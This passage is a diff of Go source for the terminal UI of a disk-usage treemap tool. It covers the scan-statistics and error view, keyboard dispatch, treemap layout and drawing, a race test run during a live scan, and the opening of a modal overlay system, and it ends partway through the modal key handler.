line("Elapsed", textutil.Duration(el), value)
|
||||
line("Rate", textutil.Count(int64(float64(files+st.Dirs)/max(el.Seconds(), 0.001)))+" items/s", value)
|
||||
line("Workers", fmt.Sprintf("%d (%d CPUs)", st.Workers, runtime.NumCPU()), value)
|
||||
}
|
||||
|
||||
head("ERRORS AND OMISSIONS")
|
||||
anyIssue := false
|
||||
for k, c := range st.ErrCounts {
|
||||
if c > 0 {
|
||||
line(inventory.ErrKind(k).String(), textutil.Count(c), Style{FG: t.Err, BG: t.Bg, Attr: Bold})
|
||||
anyIssue = true
|
||||
}
|
||||
}
|
||||
type row struct {
|
||||
k string
|
||||
v int64
|
||||
}
|
||||
for _, rr := range []row{{"Unscanned dirs", st.Unscanned}, {"Excluded", st.Excluded}, {"Other FS skipped", st.SkippedMounts},
|
||||
{"Virtual FS skipped", st.VirtualSkipped}, {"Loops skipped", st.LoopsSkipped}, {"Broken symlinks", st.BrokenLinks},
|
||||
{"Hard-link dups", st.HardlinkDups}} {
|
||||
if rr.v > 0 {
|
||||
line(rr.k, textutil.Count(rr.v), Style{FG: t.Warn, BG: t.Bg, Attr: Bold})
|
||||
anyIssue = true
|
||||
}
|
||||
}
|
||||
if !anyIssue {
|
||||
line("None", "every entry was read", Style{FG: t.OK, BG: t.Bg})
|
||||
}
|
||||
head("OPTIONS")
|
||||
excl := "none"
|
||||
if len(st.Excludes) > 0 {
|
||||
excl = textutil.Sanitize(strings.Join(st.Excludes, ", "))
|
||||
}
|
||||
line("Exclusions", excl, value)
|
||||
line("One filesystem", fmt.Sprint(st.OneFileSystem), value)
|
||||
line("Follow symlinks", st.Follow, value)
|
||||
line("Size mode", m.sizeMode.String(), value)
|
||||
units := "IEC (1024)"
|
||||
if textutil.SI {
|
||||
units = "SI (1000)"
|
||||
}
|
||||
line("Units", units, value)
|
||||
if root.Flags&inventory.FlagAllocUnknown != 0 {
|
||||
line("Note", "allocated size unavailable on this platform", Style{FG: t.Warn, BG: t.Bg})
|
||||
}
|
||||
|
||||
// Error list on the right (or below in narrow terminals).
|
||||
er := treemap.Rect{X: r.X + lw + 4, Y: r.Y, W: r.W - lw - 4, H: r.H}
|
||||
if r.W < 100 {
|
||||
er = treemap.Rect{X: r.X, Y: y + 1, W: r.W, H: r.Y + r.H - y - 1}
|
||||
}
|
||||
if er.W < 30 || er.H < 4 {
|
||||
return
|
||||
}
|
||||
rows := make([]tableRow, len(st.Errors))
|
||||
for i, e := range st.Errors {
|
||||
p := m.tree.Path(e.Node)
|
||||
if e.Name != "" {
|
||||
p += "/" + e.Name
|
||||
}
|
||||
rows[i] = tableRow{cells: []string{e.Kind.String(), textutil.Sanitize(p), textutil.Sanitize(e.Msg)},
|
||||
styles: []*Style{{FG: t.Err, BG: t.Bg}, nil, {FG: t.Muted, BG: t.Bg}}, bar: -1}
|
||||
}
|
||||
title := fmt.Sprintf("ERROR LIST (%s)", textutil.Count(st.TotalErrors()))
|
||||
if int64(len(st.Errors)) < st.TotalErrors() {
|
||||
title += fmt.Sprintf(" — first %s shown", textutil.Count(int64(len(st.Errors))))
|
||||
}
|
||||
v.tb.paint(m, cv, er, []column{{"KIND", 18, false, false}, {"PATH", 0, false, true}, {"DETAIL", 22, false, false}}, rows, title)
|
||||
}
|
||||
|
||||
func (v *infoView) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
errs := m.tree.Stats.Errors
|
||||
if v.tb.key(k, len(errs)) {
|
||||
return true, nil
|
||||
}
|
||||
if v.tb.cursor < len(errs) && (k == "enter" || k == "space") {
|
||||
m.jumpTo(errs[v.tb.cursor].Node)
|
||||
return true, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func (v *infoView) wheel(m *Model, up bool) tea.Cmd {
|
||||
v.tb.scroll(up, len(m.tree.Stats.Errors))
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,247 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/platform"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// view is one of the Tab-cycled main views.
|
||||
type view interface {
|
||||
name() string
|
||||
paint(m *Model, cv *Canvas, r treemap.Rect)
|
||||
key(m *Model, k string) (bool, tea.Cmd)
|
||||
wheel(m *Model, up bool) tea.Cmd
|
||||
}
|
||||
|
||||
func keyName(k tea.KeyPressMsg) string {
|
||||
switch s := k.String(); s {
|
||||
case " ":
|
||||
return "space"
|
||||
default:
|
||||
return s
|
||||
}
|
||||
}
|
||||
|
||||
// handleKey dispatches a key press. It holds the tree read lock for the
|
||||
// whole handler; helpers it calls must not lock again (a recursive RLock
|
||||
// can deadlock against a waiting writer).
|
||||
func (m *Model) handleKey(msg tea.KeyPressMsg) tea.Cmd {
|
||||
k := keyName(msg)
|
||||
if k == "ctrl+c" {
|
||||
return m.ctrlCPressed()
|
||||
}
|
||||
t := m.tree
|
||||
t.RLock()
|
||||
defer t.RUnlock()
|
||||
m.ensureSelection()
|
||||
if len(m.modals) > 0 {
|
||||
return m.modalKey(msg)
|
||||
}
|
||||
if m.search.editing {
|
||||
return m.searchKey(msg)
|
||||
}
|
||||
handled, cmd := m.views[m.view].key(m, k)
|
||||
if handled {
|
||||
return cmd
|
||||
}
|
||||
switch k {
|
||||
case "q":
|
||||
m.quit = true
|
||||
case "?", "f1":
|
||||
m.openModal(newHelpModal(m))
|
||||
case "/":
|
||||
m.search.begin()
|
||||
case "esc":
|
||||
if m.search.query != nil {
|
||||
m.clearFilter()
|
||||
} else if m.zoom != m.tree.Root() {
|
||||
m.zoomOut()
|
||||
}
|
||||
case "tab":
|
||||
m.setView((m.view + 1) % len(m.views))
|
||||
case "shift+tab":
|
||||
m.setView((m.view + len(m.views) - 1) % len(m.views))
|
||||
case "1", "2", "3", "4", "5", "6", "7":
|
||||
m.setView(int(k[0] - '1'))
|
||||
case "enter":
|
||||
return m.inspectSelection()
|
||||
case "space", "right":
|
||||
return m.zoomIntoSelection()
|
||||
case "backspace", "left":
|
||||
m.zoomOut()
|
||||
case "home":
|
||||
m.zoomTo(m.tree.Root())
|
||||
case "a":
|
||||
if m.sizeMode == inventory.SizeAllocated {
|
||||
m.sizeMode = inventory.SizeLogical
|
||||
} else {
|
||||
m.sizeMode = inventory.SizeAllocated
|
||||
}
|
||||
m.invalidate()
|
||||
var cmds []tea.Cmd
|
||||
if m.search.query != nil {
|
||||
cmds = append(cmds, m.applyFilter())
|
||||
}
|
||||
cmds = append(cmds, m.info("Sizing by "+m.sizeMode.String()+" size"))
|
||||
return tea.Batch(cmds...)
|
||||
case "r":
|
||||
return m.rescan()
|
||||
case "s":
|
||||
m.openModal(newSaveModal(m))
|
||||
case "e":
|
||||
m.setViewByName("Scan")
|
||||
if v, ok := m.views[m.view].(*infoView); ok {
|
||||
v.focusErrors(m)
|
||||
}
|
||||
case "x":
|
||||
m.setViewByName("Types")
|
||||
case "g":
|
||||
m.setViewByName("Top")
|
||||
case "D":
|
||||
return m.startDuplicates()
|
||||
case "c":
|
||||
return m.copyPath()
|
||||
case "o":
|
||||
return m.reveal()
|
||||
case "d", "delete":
|
||||
return m.requestTrash()
|
||||
case "T":
|
||||
names := ThemeNames()
|
||||
cur := 0
|
||||
for i, n := range names {
|
||||
if n == m.theme.Name {
|
||||
cur = i
|
||||
}
|
||||
}
|
||||
ascii := m.theme.ASCII
|
||||
m.theme = LoadTheme(names[(cur+1)%len(names)], m.opts.Settings)
|
||||
m.theme.ASCII = ascii
|
||||
return m.info("Theme: " + m.theme.Name)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Model) setViewByName(n string) {
|
||||
for i, v := range m.views {
|
||||
if v.name() == n {
|
||||
m.setView(i)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Model) inspectSelection() tea.Cmd {
|
||||
if isGroup(m.sel) {
|
||||
if g, ok := m.groupInfo(m.sel); ok {
|
||||
m.openModal(newGroupModal(m, g))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if id := m.selectedNode(); id != inventory.NoNode {
|
||||
m.openModal(newInfoModal(m, id))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Model) zoomIntoSelection() tea.Cmd {
|
||||
if isGroup(m.sel) {
|
||||
// Groups cannot be zoomed: show their members in the list view.
|
||||
if g, ok := m.groupInfo(m.sel); ok && len(g.ids) > 0 {
|
||||
m.sel = int64(g.ids[0])
|
||||
m.setViewByName("List")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
id := m.selectedNode()
|
||||
if id == inventory.NoNode {
|
||||
return nil
|
||||
}
|
||||
if !m.tree.Node(id).IsDir() {
|
||||
return m.info("Not a directory — Enter shows details")
|
||||
}
|
||||
if len(m.kidsOf(id).ids) == 0 {
|
||||
return m.info("Directory is empty")
|
||||
}
|
||||
m.zoomTo(id)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Model) zoomOut() {
|
||||
if p := m.tree.Node(m.zoom).Parent; p != inventory.NoNode {
|
||||
m.zoomTo(p)
|
||||
}
|
||||
}
|
||||
|
||||
// jumpTo zooms to a node's parent directory and selects it.
|
||||
func (m *Model) jumpTo(id inventory.NodeID) {
|
||||
p := m.tree.Node(id).Parent
|
||||
if p == inventory.NoNode {
|
||||
m.zoomTo(id)
|
||||
return
|
||||
}
|
||||
m.zoomTo(p)
|
||||
m.sel = int64(id)
|
||||
m.setViewByName("Map")
|
||||
}
|
||||
|
||||
func (m *Model) selectedPath() (string, bool) {
|
||||
id := m.selectedNode()
|
||||
if id == inventory.NoNode {
|
||||
return "", false
|
||||
}
|
||||
return m.tree.Path(id), true
|
||||
}
|
||||
|
||||
func (m *Model) copyPath() tea.Cmd {
|
||||
p, ok := m.selectedPath()
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
|
||||
}
|
||||
|
||||
func (m *Model) reveal() tea.Cmd {
|
||||
if m.snapshot {
|
||||
return m.warn("Snapshot — the files may not exist on this machine")
|
||||
}
|
||||
p, ok := m.selectedPath()
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
if err := platform.Reveal(p); err != nil {
|
||||
return m.warn("Open failed: " + textutil.Sanitize(err.Error()))
|
||||
}
|
||||
return m.info("Opened in file manager")
|
||||
}
|
||||
|
||||
func (m *Model) saveSnapshot(path string) tea.Cmd {
|
||||
t := m.tree
|
||||
return func() tea.Msg {
|
||||
t.RLock()
|
||||
err := saveFile(path, t)
|
||||
t.RUnlock()
|
||||
return saveDoneMsg{path, err}
|
||||
}
|
||||
}
|
||||
|
||||
type saveDoneMsg struct {
|
||||
path string
|
||||
err error
|
||||
}
|
||||
|
||||
func defaultSnapshotName(root string) string {
|
||||
base := filepath.Base(root)
|
||||
if base == string(filepath.Separator) || base == "." || base == "" {
|
||||
base = "root"
|
||||
}
|
||||
wd, _ := os.Getwd()
|
||||
return filepath.Join(wd, fmt.Sprintf("%s-%s.msz", base, time.Now().Format("20060102-1504")))
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/scan"
|
||||
)
|
||||
|
||||
// TestLiveScanRendering renders, navigates, filters and resizes while the
|
||||
// scanner mutates the inventory. Run with -race to verify the locking
|
||||
// discipline.
|
||||
func TestLiveScanRendering(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
for i := range 30 {
|
||||
d := filepath.Join(root, fmt.Sprintf("d%02d", i), "sub")
|
||||
if err := os.MkdirAll(d, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for j := range 40 {
|
||||
os.WriteFile(filepath.Join(d, fmt.Sprintf("f%d.log", j)), make([]byte, (i+1)*(j+1)*100), 0o644)
|
||||
}
|
||||
}
|
||||
start := func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error) {
|
||||
s, err := scan.Start(ctx, root, scan.Options{Workers: 4, ChunkSize: 3})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
return s, s.Tree, nil
|
||||
}
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
s, tr, err := start(ctx)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
m := newModel(Options{Start: start}, s, tr, cancel)
|
||||
sizes := [][2]int{{120, 40}, {80, 24}, {200, 60}, {45, 12}}
|
||||
deadline := time.After(20 * time.Second)
|
||||
for i := 0; ; i++ {
|
||||
send(m, size(sizes[i%len(sizes)][0], sizes[i%len(sizes)][1]), tickMsg(time.Now()))
|
||||
send(m, key([]string{"right", "down", "left", "up"}[i%4]))
|
||||
if i%5 == 0 {
|
||||
send(m, key("tab"))
|
||||
}
|
||||
if i == 3 {
|
||||
m.search.ed.set("ext = log")
|
||||
m.queryChanged()
|
||||
send(m, m.applyFilter()())
|
||||
}
|
||||
m.dirty = true
|
||||
m.View()
|
||||
select {
|
||||
case <-s.Done():
|
||||
send(m, scanDoneMsg{s})
|
||||
m.View()
|
||||
if m.scanning {
|
||||
t.Fatal("scan should be finished")
|
||||
}
|
||||
return
|
||||
case <-deadline:
|
||||
t.Fatal("scan did not finish")
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,354 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
tea "charm.land/bubbletea/v2"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// tmLayout is the treemap geometry for one (zoom, rect, data version). It is
|
||||
// recomputed from scratch whenever any of those change — after a resize the
|
||||
// layout algorithm runs again for the new rectangle rather than scaling the
|
||||
// old one.
|
||||
type tmLayout struct {
|
||||
zoom inventory.NodeID
|
||||
rect treemap.Rect
|
||||
ver int
|
||||
blocks []treemap.Block // top level: navigable
|
||||
nested []nested // previews inside directories: drawn only
|
||||
groups map[int64]*group
|
||||
visible map[int64]bool
|
||||
inner map[int64]bool // top-level blocks with nested previews
|
||||
}
|
||||
|
||||
type nested struct {
|
||||
id int64
|
||||
r treemap.Rect
|
||||
depth int
|
||||
alt bool
|
||||
inner bool // has nested children drawn inside it
|
||||
}
|
||||
|
||||
type group struct {
|
||||
parent inventory.NodeID
|
||||
ids []inventory.NodeID
|
||||
size int64
|
||||
}
|
||||
|
||||
// LOD parameters.
|
||||
const (
|
||||
topMinArea = 12 // cells: room for a 4×3 framed block
|
||||
topMaxItems = 400
|
||||
nestMinArea = 3
|
||||
nestMaxItems = 120
|
||||
maxNestDepth = 3
|
||||
nestMinW = 4
|
||||
nestMinH = 2
|
||||
nestRecurseW = 14
|
||||
nestRecurseH = 5
|
||||
)
|
||||
|
||||
func (m *Model) layoutTreemap(r treemap.Rect) *tmLayout {
|
||||
if l := m.tm; l != nil && l.zoom == m.zoom && l.rect == r && l.ver == m.dataVer {
|
||||
return l
|
||||
}
|
||||
l := &tmLayout{zoom: m.zoom, rect: r, ver: m.dataVer, groups: map[int64]*group{}, visible: map[int64]bool{}, inner: map[int64]bool{}}
|
||||
l.blocks = m.layoutLevel(l, m.zoom, r, topMinArea, topMaxItems)
|
||||
for _, b := range l.blocks {
|
||||
l.visible[b.ID] = true
|
||||
if b.ID < 0 || b.W < 3 || b.H < 2 {
|
||||
continue
|
||||
}
|
||||
if n := m.tree.Node(inventory.NodeID(b.ID)); n.IsDir() {
|
||||
in := b.Inset(1)
|
||||
if in.W >= nestMinW && in.H >= nestMinH {
|
||||
before := len(l.nested)
|
||||
m.layoutNested(l, inventory.NodeID(b.ID), in, 2)
|
||||
l.inner[b.ID] = len(l.nested) > before
|
||||
}
|
||||
}
|
||||
}
|
||||
m.tm = l
|
||||
return l
|
||||
}
|
||||
|
||||
// layoutLevel lays out the children of parent in r with level-of-detail
|
||||
// grouping: children too small to be useful collapse into one group block.
|
||||
func (m *Model) layoutLevel(l *tmLayout, parent inventory.NodeID, r treemap.Rect, minArea, maxItems int) []treemap.Block {
|
||||
k := m.kidsOf(parent)
|
||||
if len(k.ids) == 0 || r.Empty() {
|
||||
return nil
|
||||
}
|
||||
sizes := make([]float64, len(k.sizes))
|
||||
for i, s := range k.sizes {
|
||||
sizes[i] = float64(s)
|
||||
}
|
||||
vis := treemap.Visible(sizes, float64(k.total), r.Area(), minArea, maxItems)
|
||||
items := make([]treemap.Item, 0, vis+1)
|
||||
for i := range vis {
|
||||
items = append(items, treemap.Item{ID: int64(k.ids[i]), Size: sizes[i]})
|
||||
}
|
||||
if vis < len(k.ids) {
|
||||
g := &group{parent: parent, ids: k.ids[vis:]}
|
||||
for _, s := range k.sizes[vis:] {
|
||||
g.size += s
|
||||
}
|
||||
gid := groupID(parent)
|
||||
l.groups[gid] = g
|
||||
items = append(items, treemap.Item{ID: gid, Size: float64(g.size)})
|
||||
}
|
||||
return treemap.Squarify(items, r)
|
||||
}
|
||||
|
||||
func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rect, depth int) {
|
||||
// Deeper levels need bigger blocks to stay legible rather than noisy.
|
||||
blocks := m.layoutLevel(l, parent, r, nestMinArea*(depth-1)*(depth-1), nestMaxItems)
|
||||
for i, b := range blocks {
|
||||
nb := nested{id: b.ID, r: b.Rect, depth: depth, alt: i%2 == 1}
|
||||
idx := len(l.nested)
|
||||
l.nested = append(l.nested, nb)
|
||||
if depth < maxNestDepth && b.ID >= 0 && b.W >= nestRecurseW && b.H >= nestRecurseH &&
|
||||
m.tree.Node(inventory.NodeID(b.ID)).IsDir() {
|
||||
l.nested[idx].inner = true
|
||||
m.layoutNested(l, inventory.NodeID(b.ID), treemap.Rect{X: b.X, Y: b.Y + 1, W: b.W - 1, H: b.H - 2}, depth+1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// groupInfo returns the LOD group for a group ID in the current layout.
|
||||
func (m *Model) groupInfo(id int64) (*group, bool) {
|
||||
if m.tm == nil {
|
||||
return nil, false
|
||||
}
|
||||
g, ok := m.tm.groups[id]
|
||||
return g, ok
|
||||
}
|
||||
|
||||
type mapView struct{}
|
||||
|
||||
func (*mapView) name() string { return "Map" }
|
||||
|
||||
func (v *mapView) paint(m *Model, cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
l := m.layoutTreemap(r)
|
||||
if len(l.blocks) == 0 {
|
||||
msg := "Empty directory"
|
||||
switch {
|
||||
case m.search.query != nil:
|
||||
msg = "No matches here — Esc clears the filter"
|
||||
case m.scanning:
|
||||
msg = "Scanning…"
|
||||
case !m.tree.Node(m.zoom).IsDir():
|
||||
msg = textutil.Sanitize(m.tree.Node(m.zoom).Name) + " — " + textutil.Size(m.sizeOf(m.zoom))
|
||||
}
|
||||
cv.TextCentered(r.X, r.Y+r.H/2, r.W, msg, t.muted())
|
||||
return
|
||||
}
|
||||
sel := m.visibleSel(l.visible)
|
||||
total := m.sizeOf(m.zoom)
|
||||
for _, b := range l.blocks {
|
||||
m.paintTop(cv, b, b.ID == sel, b.ID == m.hover, total)
|
||||
}
|
||||
for _, nb := range l.nested {
|
||||
m.paintNested(cv, nb)
|
||||
}
|
||||
for _, b := range l.blocks {
|
||||
id := b.ID
|
||||
m.hits = append(m.hits, hit{b.Rect, func(m *Model, double bool) tea.Cmd { return m.clickBlock(id, double) }})
|
||||
}
|
||||
}
|
||||
|
||||
// blockName returns a sanitised display name for a block.
|
||||
func (m *Model) blockName(id int64) string {
|
||||
if isGroup(id) {
|
||||
if g, ok := m.groupInfo(id); ok {
|
||||
return textutil.Count(int64(len(g.ids))) + " smaller items"
|
||||
}
|
||||
return "smaller items"
|
||||
}
|
||||
n := m.tree.Node(inventory.NodeID(id))
|
||||
name := textutil.Sanitize(n.Name)
|
||||
if n.IsDir() && inventory.NodeID(id) != m.tree.Root() {
|
||||
name += "/"
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func (m *Model) blockSize(id int64) int64 {
|
||||
if isGroup(id) {
|
||||
if g, ok := m.groupInfo(id); ok {
|
||||
return g.size
|
||||
}
|
||||
return 0
|
||||
}
|
||||
return m.sizeOf(inventory.NodeID(id))
|
||||
}
|
||||
|
||||
func (m *Model) paintTop(cv *Canvas, b treemap.Block, sel, hov bool, total int64) {
|
||||
t := m.theme
|
||||
base := m.colorOf(b.ID)
|
||||
fill := base.Mix(t.Bg, 0.62)
|
||||
fillCh := " "
|
||||
if isGroup(b.ID) {
|
||||
fillCh = "░"
|
||||
if t.ASCII {
|
||||
fillCh = "."
|
||||
}
|
||||
}
|
||||
name := m.blockName(b.ID)
|
||||
size := m.blockSize(b.ID)
|
||||
if b.W < 3 || b.H < 2 {
|
||||
// Too small for a frame: a solid tile.
|
||||
st := Style{FG: base, BG: base.Mix(t.Bg, 0.3)}
|
||||
ch := fillCh
|
||||
if sel {
|
||||
st = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()}
|
||||
ch = "◆"
|
||||
if t.ASCII {
|
||||
ch = "#"
|
||||
}
|
||||
} else if t.Mono {
|
||||
ch = "▒"
|
||||
}
|
||||
cv.Fill(b.Rect, " ", st)
|
||||
cv.Text(b.X+(b.W-1)/2, b.Y+(b.H-1)/2, ch, 1, st)
|
||||
return
|
||||
}
|
||||
cv.Fill(b.Rect, fillCh, Style{FG: base.Mix(t.Bg, 0.35), BG: fill})
|
||||
frame := Style{FG: base.Mix(t.Bg, 0.15), BG: fill}
|
||||
box := t.box()
|
||||
title := Style{FG: base.Mix(RGB(255, 255, 255), 0.35), BG: fill, Attr: Bold}
|
||||
switch {
|
||||
case sel:
|
||||
box = t.selBox()
|
||||
frame = Style{FG: t.Sel, BG: fill, Attr: Bold}
|
||||
title = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()}
|
||||
case hov:
|
||||
frame.FG = base.Mix(RGB(255, 255, 255), 0.5)
|
||||
}
|
||||
if t.Mono && !sel {
|
||||
title.Attr = Bold
|
||||
}
|
||||
cv.Box(b.Rect, box, frame)
|
||||
cv.Text(b.X+1, b.Y, textutil.Truncate(" "+name+" ", b.W-2), b.W-2, title)
|
||||
|
||||
label := textutil.Size(size)
|
||||
if pct := textutil.Percent(size, total); b.W-2 >= textutil.Width(label)+textutil.Width(pct)+5 {
|
||||
label += " · " + pct
|
||||
} else if b.W-2 < textutil.Width(label)+2 {
|
||||
label = textutil.SizeCompact(size)
|
||||
}
|
||||
label = " " + label + " "
|
||||
if b.H >= 3 && textutil.Width(label) <= b.W-2 {
|
||||
cv.TextRight(b.X+1, b.Y+b.H-1, b.W-2, label, Style{FG: frame.FG, BG: fill, Attr: frame.Attr})
|
||||
}
|
||||
// Interior labels for blocks without nested previews.
|
||||
in := b.Inset(1)
|
||||
if in.Empty() || m.hasNested(b.ID) {
|
||||
return
|
||||
}
|
||||
n := inventory.NoNode
|
||||
if !isGroup(b.ID) {
|
||||
n = inventory.NodeID(b.ID)
|
||||
}
|
||||
lines := []string{}
|
||||
if n != inventory.NoNode {
|
||||
nd := m.tree.Node(n)
|
||||
if !nd.IsDir() {
|
||||
lines = append(lines, kindLabel(m.tree, nd))
|
||||
} else if nd.Files > 0 {
|
||||
lines = append(lines, textutil.Count(int64(nd.Files))+" files")
|
||||
}
|
||||
}
|
||||
if b.H < 4 || in.W < 6 {
|
||||
return
|
||||
}
|
||||
y0 := in.Y + (in.H-len(lines))/2
|
||||
for i, s := range lines {
|
||||
cv.TextCentered(in.X, y0+i, in.W, s, Style{FG: base.Mix(t.Fg, 0.4), BG: fill})
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Model) hasNested(id int64) bool { return m.tm != nil && m.tm.inner[id] }
|
||||
|
||||
func (m *Model) paintNested(cv *Canvas, nb nested) {
|
||||
t := m.theme
|
||||
base := m.colorOf(nb.id)
|
||||
f := 0.38 - 0.1*float64(nb.depth-2)
|
||||
if nb.alt {
|
||||
f += 0.07
|
||||
}
|
||||
bg := base.Mix(t.Bg, f)
|
||||
shadow := bg.Mix(RGB(0, 0, 0), 0.45)
|
||||
st := Style{FG: t.textOn(bg), BG: bg}
|
||||
ch := " "
|
||||
if isGroup(nb.id) {
|
||||
ch = "░"
|
||||
if t.ASCII {
|
||||
ch = "."
|
||||
}
|
||||
st.FG = bg.Mix(t.Fg, 0.25)
|
||||
}
|
||||
r := nb.r
|
||||
cv.Fill(r, ch, st)
|
||||
if t.Mono {
|
||||
// No colour: draw a light outline so neighbours stay distinguishable.
|
||||
if r.W >= 2 && r.H >= 2 {
|
||||
cv.Box(r, BoxRound, Style{Attr: Faint})
|
||||
}
|
||||
} else {
|
||||
if r.W >= 4 {
|
||||
cv.Fill(treemap.Rect{X: r.X + r.W - 1, Y: r.Y, W: 1, H: r.H}, " ", Style{BG: shadow})
|
||||
}
|
||||
if r.H >= 3 {
|
||||
cv.Fill(treemap.Rect{X: r.X, Y: r.Y + r.H - 1, W: r.W, H: 1}, " ", Style{BG: shadow})
|
||||
}
|
||||
}
|
||||
lw := r.W - 1
|
||||
if t.Mono {
|
||||
lw = r.W - 2
|
||||
}
|
||||
if lw < 5 {
|
||||
return
|
||||
}
|
||||
lx := r.X
|
||||
if t.Mono {
|
||||
lx++
|
||||
}
|
||||
ly := r.Y
|
||||
if t.Mono && r.H >= 3 {
|
||||
ly++
|
||||
}
|
||||
name := m.blockName(nb.id)
|
||||
if textutil.Width(name) > lw && lw < 8 {
|
||||
return // a stub like "te…" is noise, not information
|
||||
}
|
||||
cv.Text(lx, ly, textutil.Truncate(name, lw), lw, Style{FG: st.FG, BG: bg, Attr: Bold})
|
||||
if !nb.inner && r.H >= 3 && lw >= 5 {
|
||||
cv.Text(lx, ly+1, textutil.Truncate(textutil.SizeCompact(m.blockSize(nb.id)), lw), lw, Style{FG: bg.Mix(st.FG, 0.7), BG: bg})
|
||||
}
|
||||
}
|
||||
|
||||
func (v *mapView) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
dirs := map[string]treemap.Direction{"left": treemap.Left, "right": treemap.Right, "up": treemap.Up, "down": treemap.Down,
|
||||
"h": treemap.Left, "l": treemap.Right, "k": treemap.Up, "j": treemap.Down}
|
||||
if d, ok := dirs[k]; ok {
|
||||
if l := m.tm; l != nil {
|
||||
if id, ok := treemap.Neighbour(l.blocks, m.visibleSel(l.visible), d); ok {
|
||||
m.sel = id
|
||||
}
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func (v *mapView) wheel(m *Model, up bool) tea.Cmd {
|
||||
if up {
|
||||
return m.zoomIntoSelection()
|
||||
}
|
||||
m.zoomOut()
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,221 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// span is a run of styled text; a line is a slice of spans.
|
||||
type span struct {
|
||||
s string
|
||||
st *Style // nil = modal default
|
||||
}
|
||||
|
||||
type line []span
|
||||
|
||||
func txt(s string) line { return line{{s, nil}} }
|
||||
func styled(s string, st Style) line { return line{{s, &st}} }
|
||||
func kv(k, v string, kst, vst Style) line { return line{{textutil.PadRight(k, 18), &kst}, {v, &vst}} }
|
||||
|
||||
// modal is an overlay. Modals receive all keys while open; Esc always
|
||||
// closes them (handled by the frame before the modal sees it, unless the
|
||||
// modal is editing text).
|
||||
type modal interface {
|
||||
title() string
|
||||
content(m *Model, width int) []line // rebuilt every frame, so resizes reflow
|
||||
footer(m *Model) string
|
||||
key(m *Model, k string) (closeModal bool, cmd tea.Cmd)
|
||||
width() int // preferred inner width
|
||||
}
|
||||
|
||||
// modalFrame wraps a modal with scroll state.
|
||||
type modalFrame struct {
|
||||
modal
|
||||
scroll int
|
||||
viewH int // content rows visible in the last paint
|
||||
contentN int
|
||||
}
|
||||
|
||||
func (m *Model) openModal(md modal) {
|
||||
m.modals = append(m.modals, &modalFrame{modal: md})
|
||||
m.dirty = true
|
||||
}
|
||||
|
||||
func (m *Model) closeModal() {
|
||||
if len(m.modals) > 0 {
|
||||
m.modals = m.modals[:len(m.modals)-1]
|
||||
}
|
||||
m.dirty = true
|
||||
}
|
||||
|
||||
// textInputModal is implemented by modals that consume printable keys.
|
||||
type textInputModal interface {
|
||||
editing() bool
|
||||
editor() *lineEditor
|
||||
}
|
||||
|
||||
func (m *Model) modalKey(msg tea.KeyPressMsg) tea.Cmd {
|
||||
k := keyName(msg)
|
||||
f := m.modals[len(m.modals)-1].(*modalFrame)
|
||||
if ti, ok := f.modal.(textInputModal); ok && ti.editing() && k != "esc" && k != "enter" {
|
||||
ti.editor().key(msg)
|
||||
return nil
|
||||
}
|
||||
if ti, ok := f.modal.(textInputModal); !ok || !ti.editing() {
|
||||
page := max(f.viewH-1, 1)
|
||||
switch k {
|
||||
case "esc", "q":
|
||||
m.closeModal()
|
||||
return nil
|
||||
case "up", "k":
|
||||
f.scroll--
|
||||
case "down", "j":
|
||||
f.scroll++
|
||||
case "pgup":
|
||||
